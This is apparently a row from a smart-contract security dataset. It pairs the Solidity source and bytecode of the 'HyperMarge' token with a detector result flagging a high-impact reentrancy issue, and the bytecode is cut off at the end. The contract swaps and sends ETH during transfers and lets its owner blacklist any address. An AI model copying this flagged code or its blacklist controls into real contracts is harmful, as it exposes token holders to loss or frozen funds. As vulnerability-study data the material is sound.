6000908152600260205260409020556116b381611883565b6116bd84836118cd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161170291815260200190565b60405180910390a3505050505050505050565b600081836117365760405162461bcd60e51b81526004016106159190611cb9565b5060006112a68486611dc9565b6006546000908190683635c9adc5dea0000061175f828261158b565b82101561177c57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117a28a600d54600e546118f1565b92509250925060006117b26115cd565b905060008060006117c58e878787611946565b919e509c509a509598509396509194505050505091939550919395565b60006113b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611275565b6000806118318385611db1565b9050838110156113b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610615565b600061188d6115cd565b9050600061189b8383611996565b306000908152600260205260409020549091506118b89082611824565b30600090815260026020526040902055505050565b6006546118da90836117e2565b6006556007546118ea9082611824565b6007555050565b600080808061190b60646119058989611996565b9061158b565b9050600061191e60646119058a89611996565b90506000611936826119308b866117e2565b906117e2565b9992985090965090945050505050565b60008080806119558886611996565b905060006119638887611996565b905060006119718888611996565b905060006119838261193086866117e2565b939b939a50919850919650505050505050565b6000826119a5575060006106a9565b60006119b18385611de9565b9050826119be8583611dc9565b146113b15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610615565b8035611a2081611e66565b919050565b80358015158114611a2057600080fd5b600060208284031215611a46578081fd5b81356113b181611e66565b600060208284031215611a62578081fd5b81516113b181611e66565b60008060408385031215611a7f578081fd5b8235611a8a81611e66565b91506020830135611a9a81611e66565b809150509250929050565b600080600060608486031215611ab9578081fd5b8335611ac481611e66565b92506020840135611ad481611e66565b929592945050506040919091013590565b60008060408385031215611af7578182fd5b8235611b0281611e66565b946020939093013593505050565b600080600060408486031215611b24578283fd5b833567ffffffffffffffff80821115611b3b578485fd5b818601915086601f830112611b4e578485fd5b813581811115611b5c578586fd5b8760208260051b8501011115611b70578586fd5b602092830195509350611b869186019050611a25565b90509250925092565b60006020808385031215611ba1578182fd5b823567ffffffffffffffff80821115611bb8578384fd5b818501915085601f830112611bcb578384fd5b813581811115611bdd57611bdd611e50565b8060051b604051601f19603f83011681018181108582111715611c0257611c02611e50565b604052828152858101935084860182860187018a1015611c20578788fd5b8795505b83861015611c4957611c3581611a15565b855260019590950194938601938601611c24565b5098975050505050505050565b600060208284031215611c67578081fd5b6113b182611a25565b600060208284031215611c81578081fd5b5035919050565b60008060008060808587031215611c9d578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611ce557858101830151858201604001528201611cc9565b81811115611cf65783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d905784516001600160a01b031683529383019391830191600101611d6b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dc457611dc4611e3a565b500190565b600082611de457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e0357611e03611e3a565b500290565b600082821015611e1a57611e1a611e3a565b500390565b6000600019821415611e3357611e33611e3a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d9c5b5dd3ae0f4fb78f98e2b20aa83d427497f56a40e47a5a4f5cc8e52dc96b164736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 995 |
0xa0add08f449eb379ab5878bf3212fa88e3f58f07 | /*
Welcome to the HyperMarget
Join our telegram! t.me/hypermargetoken
Follow our twitter: twitter.com/hypermargetoken
Last but not least, check out our website: hypermarge.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MARGE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 21 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "HyperMarge";
string private constant _symbol = 'HYPERMARGE';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f48797065724d6172676500000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b60006801236efcbcbb340000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f48595045524d4152474500000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801236efcbcbb34000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e836801236efcbcbb3400006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffff